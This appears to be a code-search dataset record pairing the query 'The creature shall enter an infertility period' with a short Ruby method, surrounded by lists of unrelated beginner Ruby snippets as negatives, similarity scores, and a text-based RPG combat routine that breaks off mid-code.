"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend; end",
"def consume; end",
"def consume; end",
"def consume; end",
"def single_exploit\n end",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n\tend\nend",
"def meow #teaching the cat how to meow\n puts \"meow!\" \n end",
"def hug \n puts \"{\"\n yield if block_given?\n puts \"}\"\nend",
"def ouch(body_part)\n puts \"Im in the method\"\n puts \"Ouch my #{body_part} hurts\"\n yield(\"John\")\nend",
"def next!() end",
"def woo; puts \"woooooo\"; end",
"def reconsume; end",
"def nonsense name\n yield 1\n puts \"#{name} is a non sense person\"\n yield 2\n puts \"but #{name} is very nice\"\n yield 3\n puts \"he makes people happy\"\nend",
"def bang!\n \"b a n g\"\n end",
"def eat oranges\r\n\t\tif @yield >= oranges.to_i\r\n\t\t\tputs \"You can't take it any longer. Those oranges look too delicious\"\r\n\t\t\t@yield -= oranges\r\n\t\t\tputs \"Mmmm....tasty.\"\r\n\t\telse \r\n\t\t\tputs \"There aren't enough oranges.\"\r\n\t\tend\r\n\tend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def throw_away_meaningless_line\n\t\tputs \"I have no idea what you are talking about\"\n\tend",
"def cartman_hates(thing)\nwhile true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def eat\n \"Eating the cookie\"\n end",
"def scream(words)\r\n words = words + \"!!!!\"\r\n return\r\n puts words\r\nend",
"def joke; end",
"def process_dummy(exp)\n process_block(exp).chomp\n end",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def eat\n puts @a\n 'Eating the cookie!'\n end",
"def dog_eat(items)\n \t items.each do |item|\n \t\t puts \"My puppy likes #{item}\"\n \t end\n end",
"def scream(words)\n words = words + \"!!!!\"\n puts words #this command returns nil, if 'p' over puts, =>Yippee!!!!\nend",
"def scream(words)\nwords = words + \"!!!!\"\nreturn #this makes the program return nothing.. because it has nothing next to the return method\nputs words\nend",
"def cartman_hates(thing)\n # while true\n puts \"What's there to hate about #{thing}?\"\nend",
"def meow\n puts \"meow!\"\n # when we call on the method .meow\n # it will put meow\n end",
"def shout(word)\n# irb(main):012:1> \nreturn \"HOLA\"\n# irb(main):013:1> \nend",
"def hermes_catchphrase; end",
"def scream(words)\n words = words + \"!!!!\"\n return\n puts words\nend",
"def scream words\n words = words + '!!!!'\n return\n puts words\nend",
"def weber; end",
"def weird_stuff\n puts \"Mussolini apparently liked to eat raw garlic, although he suffered\n from severe stomach ulcers. He also had many Jewish friends, and didn't like\n Hitler very much. Yeah right!\"\n #sleep(20)\n puts \"Idi Amin gave himself the title His Excellency, President for Life Field\n Marshall Al Hadj Doctor Idi Amin Dada, VC, DSO, MC, Lord of all the Beasts\n of the Earth and Fishes of the Sea and Conqueror of the British Empire in\n Africa in General and Uganda in particular.\"\n #sleep(20)\n puts \"Adolf Hitler thought of himself as a pacifist. He was a vegetarian.\n It is said that he injured his groin during World War I, and his left\n testicle was removed. Hitler enjoyed watching Charley Chaplin, who made fun\n of Hitler.\"\n #sleep(20)\n puts \"Stalin was also the man behind the most wicked practical joke ever\n played. Being a very private man he gave the order that no person should\n enter his bed chambers on pain of death. Later, while in his chambers he\n decided to test whether his guards had listened to this instruction.\n Pretending to scream in pain, he called for the guards stationed outside\n the door. Fearing that their leader was in trouble the guards burst into\n the room. Stalin had them executed for failing to follow his standing orders.\n This little prank soon backfired, however, when Stalin suffered a seizure\n while alone in his bedroom. The guards were too afraid to enter, finding\n him hours later laid in a puddle of stale urine. He died three days later.\"\n #sleep(30)\n puts \"Niyazov loved to rename things. For example, he renamed the month of\n January Turkmenbashi, which means Father of the Turkmen, a name he gave\n himself. He also 'legislated' the renaming of the days of the week to ones\n that translate to 'Young Day', 'Spirituality Day', etc. He even renamed the\n word 'bread', Gurbansoltan, after his own mother. Niyazov outlawed beards on\n men and cosmetics on TV anchors, and prohibited both chewing tobacco and lip-\n syncing on Turkmenistan soil. In a society of smokers, Niyazov recommended\n that people chew on bones, which he argued would strengthen their teeth. He\n authored a book, the Book of the Soul, and ordered students in schools and\n mosques to read and study it, and in the case of mosques, to give it equal\n respect to the Quran (and if not, the mosque would be demolished). To get a\n driver's license, people had to memorize the contents of the book. Finally,\n Niyazov told everyone that he had made a pact with G-d that anyone who read\n his book three times would go to heaven. In 2005, he ordered a copy of his\n book to be sent to outer space.\"\n #sleep(60)\n puts \"Mussolini apparently liked to eat raw garlic, although he suffered\n from severe stomach ulcers. He also had many Jewish friends, and didn't like\n Hitler very much. Yeah right!\"\n #sleep(10)\n puts \"He gave himself the title His Excellency, President for Life Field\n Marshall Al Hadj Doctor Idi Amin Dada, VC, DSO, MC, Lord of all the Beasts\n of the Earth and Fishes of the Sea and Conqueror of the British Empire in\n Africa in General and Uganda in particular.\"\n end",
"def meow\n puts \"meow!\"\n end",
"def meow\n puts \"meow!\"\n end",
"def eat(food)\n super(food) #- takes this from parent's eat(food) method\n puts(\"Woof\")\n end",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def whiny; end",
"def work_out\n self.hygiene -= 3\n self.happiness += 2\n return \"♪ another one bites the dust ♫\"\nend",
"def scream_c(words)\n #words = words + \"!!!!!\"\n return\n #puts words\nend",
"def exploit\n end",
"def eat\n puts 'Nom. Nom. Nom!'\n self # 👈🏻To chain isntance method we are returning 'self' here , which will point to instance of a class(not a class)\n end",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end # Add an \"end\" here\nend",
"def scream_a(words)\n words = words + \"!!!!!\"\n return\n puts words\nend",
"def pets\n yield\n puts \"Luna\"\n puts \"B\"\nend",
"def another_greet(greeting, name)\n puts \"#{greeting}, #{name}!\"\n yield('Wake up', 'Neo')\nend",
"def anchored; end",
"def meow\n puts \"meow!\"\n end",
"def meow\n puts \"meow!\"\n end",
"def shakil_the_dog\n\n\tbContinue = true\n\tbFirst = true\n\n\tputs \"Shakil the dog is barking..\"\n\n\tbegin\n\t\tprint !bFirst ? \"---\\nShakil the dog is still barking..\\n\" : \"\"\n\t\tputs \"Give Shakil a command\"\n\t\tsCommand = gets.chomp\n\n\t\tcase sCommand\n\t\t\twhen \"woof\"\n\t\t\t\tputs \"Shakil: WOOF WOOF WOOF\"\n\t\t\twhen \"shakil stop\", \"shakil STOP!\", \"treat\"\n\t\t\t\tputs \"** stops barking for a few seconds ** \"\n\t\t\twhen \"meow\"\n\t\t\t\tputs \"woof woof woof woof woof\"\n\t\t\twhen \"go away\"\n\t\t\t\tbContinue = false\n\t\t\telse \n\t\t\t\tputs \"Shakil: woof\"\n\t\tend\n\n\t\tbFirst = false\n\n\tend while bContinue\n\n\tputs \"Shakil went away\"\n\nend"
] |
[
"0.65932643",
"0.641959",
"0.6413102",
"0.6343458",
"0.63267523",
"0.63150865",
"0.6295445",
"0.6256553",
"0.6185216",
"0.6185216",
"0.6106535",
"0.6091879",
"0.6091879",
"0.6091879",
"0.6063522",
"0.6053853",
"0.60481846",
"0.60466003",
"0.60449237",
"0.6031037",
"0.6028719",
"0.6021501",
"0.6021501",
"0.6013123",
"0.60127056",
"0.5983473",
"0.59655225",
"0.59655225",
"0.5962859",
"0.59569395",
"0.59525615",
"0.59521747",
"0.5946633",
"0.59421766",
"0.59421766",
"0.59421766",
"0.59409386",
"0.59293455",
"0.5917003",
"0.59034467",
"0.5897231",
"0.5897231",
"0.5897231",
"0.58932483",
"0.58889246",
"0.58828765",
"0.5881963",
"0.5879158",
"0.5878025",
"0.58762836",
"0.5864451",
"0.5859865",
"0.5859222",
"0.5855421",
"0.5852943",
"0.5852943",
"0.5852943",
"0.5852943",
"0.5852943",
"0.5852943",
"0.5852943",
"0.5852943",
"0.58464825",
"0.58330184",
"0.58309084",
"0.58282876",
"0.5817693",
"0.5813097",
"0.5812497",
"0.57940304",
"0.5790604",
"0.5786766",
"0.57852435",
"0.5782554",
"0.57798415",
"0.57723445",
"0.576632",
"0.5765658",
"0.5765059",
"0.57643783",
"0.5763242",
"0.5762047",
"0.5762047",
"0.5751796",
"0.57461023",
"0.57461023",
"0.57461023",
"0.5745387",
"0.57433295",
"0.57424974",
"0.5727235",
"0.57269514",
"0.572483",
"0.5723917",
"0.57208306",
"0.5716102",
"0.5714626",
"0.57066786",
"0.56943125",
"0.56943125",
"0.56926465"
] |
0.0
|
-1
|
The creature shall enter an infertility period
|
def enter_infertility
@infertility = @p_o_i
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def aide3()\n\n @indiceFortFlag = TRUE\n @timer.add(120)\n end",
"def dead\r\n @energy < 0\r\n @gameover = true\r\n @timeout = true\r\n @time == 0\r\nend",
"def encounter#instance method\n\n if !survive_attack?\n \"You died.\"\n elsif !outrun_zombie?\n \"You have been chased down.\"\n new_zombie_object = Zombie.new(30, 40)\n @@horde << new_zombie_object\n else\n \"I survived.\"\n end\n end",
"def is_dead?\n @lifespan < 0.0\n end",
"def is_dead?\n @lifespan < 0.0\n end",
"def random_encounter\n narrate(\"an enemy appears!\")\n a = Fight.new(@player, @enemy_list.sample)\n if a.now\n here\n else\n\n #here is where u die\n STDIN.getch\n puts\n puts \"There is only one god and his name is Death. And there is only one thing we say to Death: Not today.\"\n \n STDIN.getch\n puts\n\n\n start = Startup.new()\n start.start\n end\n end",
"def is_dead?\n @life <= 0\n end",
"def dead?\n lifespan < 0.0\n end",
"def elv_kicklee\n atk > dfe\n end",
"def eat\n inventory[:fish] -= @daily_appetite = 10\n\n if inventory[:fish] < 0\n @alive = false\n inventory[:fish] = 0\n end\n end",
"def attack(offender, defender, fight_time)\n if defender.health > 0 && offender.is_dead == false\n defender.health = defender.health - offender.power\n if defender.health < 0\n defender.health = 0\n end\n elsif defender.health > 0 && offender.is_dead == true\n nil\n elsif\n defender.is_dead = true\n defender.health = 0\n end\n if fight_time > offender.stamina && offender.power > 1\n offender.power = offender.power - 1\n offender.is_tired = true\n end\n fighters = {offender: offender, defende: defender}\nend",
"def encounter\n # This method should call outrun_zombie? (see below) and survive_attack? (see also below)\n # to determine which scenario applies. In the case that you are turned into a zombie\n # (ie. you don't outrun the zombie but you aren't killed by it), create a new zombie object (that's you!)\n # and add it to the @@horde. Return outcome.\n\n if outrun_zombie?\n puts \"Too fast to be a zombie\"\n elsif survive_attack?\n puts \"I'm a zombie\"\n @@horde << Zombie.new(0, 0) # I'm a miserable nogoodnik zombie\n puts Zombie.all.inspect\n else\n puts \"I'm killed\"\n end\n end",
"def is_alive?\n @life_points <= 0\n end",
"def bringToLife\n @dead = false\n end",
"def update_activation_until\n new_activation_datetime = DateTime.now + 2.hours\n self.animals.each do |animal|\n animal.creature.update! activation_until: new_activation_datetime\n end\n end",
"def test_initiative_in_range\n assert_in_delta(@fighter.initiative, 4.5, 4.6)\n end",
"def enemies_attack\n @enemies.each do |enemy|\n if enemy.life_points > 0\n enemy.attacks(@human_player)\n break if @human_player.life_points <= 0\n end\n end\n \n # Show end message\n def _end\n message = \"La partie est finie\"\n if @human_player.life_points > 0 && @enemies.length == 0\n puts message\n puts \"BRAVOOOO! TU AS GAGNE!\"\n elsif @human_player.life_points <= 0\n puts message\n puts \"YOUUU LOOOOSE! Tu as perdu!\"\n end\n end\n \n end",
"def detect_injury \n @last_hit = time unless events['got_hit'].empty? \n if @last_hit and time - @last_hit < 4\n say('hit')\n @turn_speed = @FAST_TURN \n elsif @last_hit and (time - @last_hit < 10)\n say('not hit')\n @turn_speed = rand(1...@NORMAL_TURN) \n end \n end",
"def tired\t\r\n\tif $hours_asleep >= 8 then\r\n\t $hours_asleep = 0\r\n \t\treturn false\r\n \telse\r\n \t\t$hours_asleep += 1\r\n \t\treturn true\r\n \tend \t\t\r\nend",
"def flee(monster)\n if dice_roll < @agility\n puts \"----- Nice! -----\".top_border\n puts \"You've made a deft escape.\".bottom_border\n return true \n else\n puts \"Oh no! Your escape was blocked.\"\n monster.attack(self)\n return false\n end \n end",
"def starvation?()\n\n @hunger_counter >= @starvation_level\n end",
"def cure\n puts\"Vous soignez votre animal \\n\"\n @mental +=30\n @health +=60\n return 3\n end",
"def checkObstruction\n probabilityNotBlocked = 70\n number = rand(1..100) #This random simulates the probability of an obstruction (I supposed 30% of chance something is blocking the door)\n\n while number > probabilityNotBlocked\n @obstructionSensor = SensorStatus::ON\n puts \" ! Elevator door is blocked by something, waiting until door is free before continue...\"\n number -= 30 #I'm supposing the random number is 100, I'll subtract 30 so it will be less than 70 (30% probability), so the second time it runs theres no one blocking the door\n end\n\n @obstructionSensor = SensorStatus::OFF\n puts \" Elevator door is FREE\"\n end",
"def dead?()\n @fitness <= 0\n end",
"def dead?\n @age >= 25\n end",
"def test_non_member_registering_early_bird\n\t\tnon_member = Enrollments.new(:participantID => participants(:non_member_one).participantID,:courseID => \"run12345\", :startDate => '2013-10-18' )\n\t\t\n\t\t# Checking if the member exists by the expiry date to be greater than tomorrow's date, but if nil or expired date, then participant is not a member\n\t\tassert_nil participants(:non_member_one).expirydate, \"Member is not a member\"\n\n\t\tearly_bird_last_date = '2013-11-01'\n\n\t\t#Date.today since creating the enrollment will of today\n\t\tassert_operator Date.today, :<, Date.parse(early_bird_last_date), \"Member registered too late for early bird\"\n\tend",
"def tired\t\n\tif $hours_asleep >= 8 then\n\t $hours_asleep = 0\n \t\treturn false\n \telse\n \t\t$hours_asleep += 1\n \t\treturn true\n \tend \t\t\nend",
"def cause_mayhem(person)\n\t\tif person.caffeine_level > 0\n\t\t\tperson.caffeine_level = 0\n\t\t\tputs \"#{person.name} has had his caffeine level drained to zero! Bummer.\"\n\t\telse\n\t\t\tputs \"#{person.name} already has less than zero caffeine!\"\n\t\tend\n\tend",
"def lost?\n @life <=0\n end",
"def can_expedite?\n seconds.count >= seconds_for_expedition\n end",
"def kills\n @death\n end",
"def updateTime\n #Increments invulnerable time if invulnerable. If greater than the invulnerability period, makes the enemy vulnerable.\n if @invulnerable\n @invulnerableTime += 1\n checkInvulnerableEnd\n end\n end",
"def simulateUntilDeath\n @round_num = 0\n starting_elves = @characters.filter { |c| c.type == \"E\"}.length\n until gameOver?\n @round_num += 1\n puts \"round: #{@round_num}\"\n self.round\n # End game if an elf dies\n # puts @characters.filter { |c| c.type == \"E\"}\n if @characters.filter { |c| c.type == \"E\"}.length != starting_elves\n puts \"Elf death @ round #{@round_num} hp #{@elf_attack}\"\n return [@round_num, totalHP, false]\n end\n end\n return [@round_num, totalHP, true ]\n end",
"def entrance_decision_enter_cave_intimidate\n puts \"************************************************************\"\n puts \"Bandit: oh? so you think you're tough? Tell you what, you defeat me and I'll give you my sword and free passage.\"\n puts \"You get in a brawl with the bandit leader and win.\"\n puts \"Bandit: Argh. no more please. you can go in the cave just please no more.\"\n puts \"Bandit sword equipped\"\n puts \"Bandit Sword power: 20\"\n @enter_cave = true\n @bandit_beat = true\n @bandit_blade = true\n end",
"def dead? \n if (timer <= 0.0) \n return true\n else \n return false\n end\n end",
"def hit!(enemy)\n unless invincible?\n $window.audio_manager.play! :hurt\n hp!(0 - enemy.damage)\n invincible!(InvincibleTime)\n enemy.damage!(enemy.damage)\n end\n \n enemy.jump_back!\n end",
"def outrun_zombie?\n random = rand(1..@@max_spd)\n if random > @spd\n return true\n else\n @@horde << self.class.new(@@max_spd, @@max_str)\n return false\n end\n end",
"def activate\n Game::STATSTRACKER.last_unit_activated = self\n\n if Game::STATSTRACKER.last_unit_activated.nationality == \"fr\"\n Game::STATSTRACKER.phasing_player = Game::FRENCH\n else\n Game::STATSTRACKER.phasing_player = Game::ALLIED\n end\n\n roll = Die.new.roll\n\n CRT.result(@name_symbol, roll).each do |action|\n # Handle morale loss results.\n if action[-1] == 'M'\n if action[-2] == 'F'\n Game::FRENCH.morale_loss(action[-3].to_i)\n else\n Game::ALLIED.morale_loss(action[-3].to_i)\n end\n # Handle casualty results.\n elsif action[-1] == 'C'\n if action[-2] == 'F'\n if @nationality == 'fr'\n casualty(action[0].to_i)\n else\n puts 'casualty on enemy'\n end\n else\n if @nationality == 'ac'\n puts 'casualty on self'\n else\n puts 'Casualty on enemy'\n end\n end\n end\n end\n end",
"def refill_annual\n leave_times.find_by(leave_type: 'annual').refill\n end",
"def anatomy_past_tense; end",
"def touch_in(station)\n deduct(PENALTYFARE) if @in_joureny == true\n min_balance? ? (fail \"insufficent funds\") : @the_journey.start(station)\n @in_journey = true\n end",
"def damage(item_damaged) #allow the item class to be use through the parameter\n until @current_time == @time || item_damaged.item_health == 0 || @tool_health == 0\n item_damaged.item_health -= 5\n @tool_health -= 10\n @current_time += 1\n end\n end",
"def ounce_troy? = unit == 'ounce-troy'",
"def one_year_passes\n passage_of_time\n puts \"Your #{@type} tree is: #{@age} years old.\" if !@dead\n end",
"def show_state\n if @life_points <= 0\n puts \"#{@name} is dead... \\n...Monde de merde...\"\n else\n puts \"#{@name} has #{@life_points} life points left.\"\n end\n end",
"def schedule_impact?\n self.impact != 'None'\n end",
"def dead?\n\t\tif @shield <= 0\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def behavior_hungry\n @world.food.each do |food|\n if distance_from_point(food.position) < (food.quantity + ROID_SIZE*5)\n @delta -= self.position - food.position\n end \n if distance_from_point(food.position) <= food.quantity + 5\n eat food\n end \n end \n end",
"def enemy_spawned\n enemy_chance = ENEMY_CHANCE_BASE + (@dungeon.level + ENEMY_CHANCE_MOD)\n enemy_chance > rand(100)\n end",
"def combat_2ennemi(user_nameP, barret, ennemi1, ennemi2)\n puts ' _________ ________ _____ __________ ________________ '\n puts ' \\_ ___ \\ \\_____ \\ / \\\\______ \\ / _ \\__ ___/ '\n puts ' / \\ \\/ / | \\ / \\ / \\| | _/ / /_\\ \\| | '\n puts ' \\ \\____/ | \\/ Y \\ | \\/ | \\ | '\n puts ' \\______ /\\_______ /\\____|__ /______ /\\____|__ /____| '\n puts ' \\/ \\/ \\/ \\/ \\/ '\n numero_tour = 0\n\n\n while ennemi1.personnage_alive && ennemi2.personnage_alive\n if ennemi1.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Le #{ennemi1.name} est mort !\"\n puts \"--------------------------------\"\n puts \"\"\n end\n if ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Le #{ennemi2.name} est mort !\"\n puts \"--------------------------------\"\n puts \"\"\n end\n if ennemi1.personnage_hp <= 0 && ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Les ennemis sont morts !\"\n puts \"--------------------------------\"\n total_xp = ennemi1.xp + ennemi2.xp\n puts \"Vous gagnez #{total_xp} points d'XP !\"\n ennemi1.personnage_alive = false\n ennemi2.personnage_alive = false\n\n if ennemi1.loot == '1po'\n $mon_inventaire.addpotion\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi1.loot == '1gre'\n $mon_inventaire.addgrenade\n puts \"--------------------------------\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi1.loot == '1po1gre'\n $mon_inventaire.addpotion\n $mon_inventaire.addgrenade\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi2.loot == '1po'\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n $mon_inventaire.addpotion\n\n elsif ennemi2.loot == '1gre'\n puts \"--------------------------------\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n $mon_inventaire.addgrenade\n end\n\n puts \"\"\n elsif ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n\n numero_tour += 1\n puts \"----------------------------------\"\n puts \"Tour n°#{numero_tour}\"\n puts \"Ennemis : #{ennemi1.name} ET #{ennemi2.name}\"\n puts \"TIRENT A DISTANCE\"\n if ennemi1.personnage_hp > 0\n puts \"POINTS DE VIE : #{ennemi1.name} #{ennemi1.personnage_hp} HP\"\n end\n if ennemi1.personnage_hp <= 0\n puts \"#{ennemi1.name} : mort.\"\n end\n if ennemi2.personnage_hp > 0\n puts \"POINTS DE VIE : #{ennemi2.name} #{ennemi2.personnage_hp} HP\"\n end\n if ennemi2.personnage_hp <= 0\n puts \"#{ennemi2.name} : mort.\"\n end\n puts \"\"\n puts \"Que faites-vous ?\"\n puts \"1. Attaquer\"\n puts \"2. Défendre\"\n puts \"3. Utiliser un objet\"\n user_choice_4 = $stdin.gets.chomp\n if user_choice_4 == \"1\"\n puts \"Qui attaquer ?\"\n if ennemi1.personnage_hp > 0\n puts \"1. #{ennemi1.name}\"\n end\n if ennemi2.personnage_hp > 0\n puts \"2. #{ennemi2.name}\"\n end\n print \"> \"\n user_choice_4_fight = $stdin.gets.chomp\n if user_choice_4_fight == \"1\" && ennemi1.personnage_hp > 0\n puts \"\"\n puts \"BIM !\"\n puts \"Vous attaquez le #{ennemi1.name}.\"\n puts \"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\"\n degats_totaux = user_nameP.personnage_attaque - ennemi1.personnage_defense\n puts \"Le #{ennemi1.name} subit #{(user_nameP.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\"\n\n #On fait attaquer Barret\n\n puts \"Barret attaque le #{ennemi1.name}.\"\n puts \"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\"\n degats_barret_1 = barret.personnage_attaque - ennemi1.personnage_defense\n puts \"Le #{ennemi1.name} subit #{(barret.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\"\n\n if ennemi1.personnage_hp > 0\n\n ennemi1.personnage_hp -= degats_totaux\n puts \"\"\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Il vous reste #{user_nameP.personnage_hp} points de vie.\"\n\n puts \"Le #{ennemi2.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n puts \"Que faites-vous ?\"\n end\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"Le #{ennemi1.name} est mort !\"\n ennemi1.personnage_alive = false\n end\n elsif user_choice_4_fight == \"2\" && ennemi2.personnage_hp > 0\n puts \"\"\n puts \"BIM !\"\n puts \"Vous attaquez le #{ennemi2.name}.\"\n puts \"Le #{ennemi2.name} réduit les dégats de #{ennemi2.personnage_defense}.\"\n degats_totaux = user_nameP.personnage_attaque - ennemi2.personnage_defense\n puts \"Le #{ennemi2.name} subit #{(user_nameP.personnage_attaque - ennemi2.personnage_defense)} points de dégats !\"\n if ennemi2.personnage_hp > 0\n\n ennemi2.personnage_hp -= degats_totaux\n puts \"\"\n puts \"Le #{ennemi2.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi2.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Il vous reste #{user_nameP.personnage_hp} points de vie.\"\n\n puts \"Le #{ennemi2.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n puts \"Que faites-vous ?\"\n end\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"Le #{ennemi2.name} est mort !\"\n ennemi2.personnage_alive = false\n end\n end\n elsif user_choice_4 == \"2\"\n puts \"Vous gagnez de la défense !\"\n puts \"Barret gagne de la défense !\"\n user_nameP.personnage_defense += 3\n barret.personnage_defense += 3\n puts \"\"\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Le #{ennemi1.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n elsif user_choice_4 ==\"3\"\n if $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\n puts \"Potions : #{$mon_inventaire.show_potion}\"\n puts \"Grenades : #{$mon_inventaire.show_grenade}\"\n puts \"Que voulez-vous utiliser ?\"\n if $mon_inventaire.show_potion > 0\n puts \"1. Une potion.\"\n puts \"2. Rien finalement.\"\n combat2_potion_simple = $stdin.gets.chomp\n\n if combat2_potion_simple == \"1\"\n puts \"Sur qui la lancer ?\"\n puts \"1. Sur vous-même.\"\n puts \"2. Sur Barret.\"\n user_potion_fight = $stdin.gets.chomp\n\n if user_potion_fight == \"1\"\n puts \"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\"\n user_nameP.personnage_hp = 50\n $mon_inventaire.removpotion\n elsif user_potion_fight ==\"2\"\n puts \"Barret regagne #{60 - barret.personnage_hp} points de vie.\"\n barret.personnage_hp = 60\n $mon_inventaire.removpotion\n else\n \"Merci d'indiquer un bon chiffre.\"\n end\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Que faites-vous ?\"\n elsif combat2_potion_simple == \"2\"\n numero_tour -= 1\n else\n puts \"Merci d'indiquer un nombre pertinent.\"\n numero_tour -=1\n end\n\n elsif $mon_inventaire.show_grenade > 0\n puts \"1. Une grenade !\"\n puts \"2. Rien finalement.\"\n combat2_grenade_simple = $stdin.gets.chomp\n if combat2_grenade_simple == \"1\"\n \"Le #{ennemi1.name} subit 30 points de dégats.\"\n garde1.personnage_hp -= 30\n $mon_inventaire.removgrenade\n elsif combat2_grenade_simple == \"2\"\n numero_tour -= 1\n else\n numero_tour -= 1\n end\n else\n puts \"1. Une potion.\"\n puts \"2. Une grenade !\"\n puts \"3. Rien finalement.\"\n combat2_grenade_ou_potion = $stdin.gets.chomp\n if combat2_grenade_ou_potion == \"1\"\n puts \"Sur qui la lancer ?\"\n puts \"1. Sur #{user_name}.\"\n puts \"2. Sur Barret.\"\n user_potion_fight1 = $stdin.gets.chomp\n\n if user_potion_fight1 == \"1\"\n puts \"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\"\n user_nameP.personnage_hp = 50\n $mon_inventaire.removpotion\n elsif user_potion_fight1 ==\"2\"\n puts \"Barret regagne #{60 - barret.personnage_hp} points de vie.\"\n barret.personnage_hp = 60\n $mon_inventaire.removpotion\n else\n \"Merci d'indiquer un bon chiffre.\"\n end\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \" Que faites-vous ?\"\n elsif combat2_grenade_ou_potion == \"2\"\n \"Le #{ennemi1.name} subit 30 points de dégats.\"\n garde1.personnage_hp -= 30\n $mon_inventaire.removgrenade\n elsif combat2_grenade_ou_potion == \"3\"\n numero_tour -= 1\n else\n numero_tour -= 1\n end\n\n\n end\n else\n puts \"Vous n'avez pas d'objet !\"\n numero_tour -= 1\n end\n\n elsif user_choice_4 ==\"i\" || user_choice_4 ==\"I\" && $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\n puts \"\"\n puts '|' + '-'*20 + '|'\n puts \"|INVENTAIRE |\"\n puts '|' + '-'*20 + '|'\n puts \"|Potions : #{$mon_inventaire.show_potion} |\"\n puts \"|Grenades : #{$mon_inventaire.show_grenade} |\"\n puts '|' + '-'*20+ '|'\n numero_tour -= 1\n elsif user_choice_4 ==\"i\" || user_choice_4 ==\"I\"\n puts 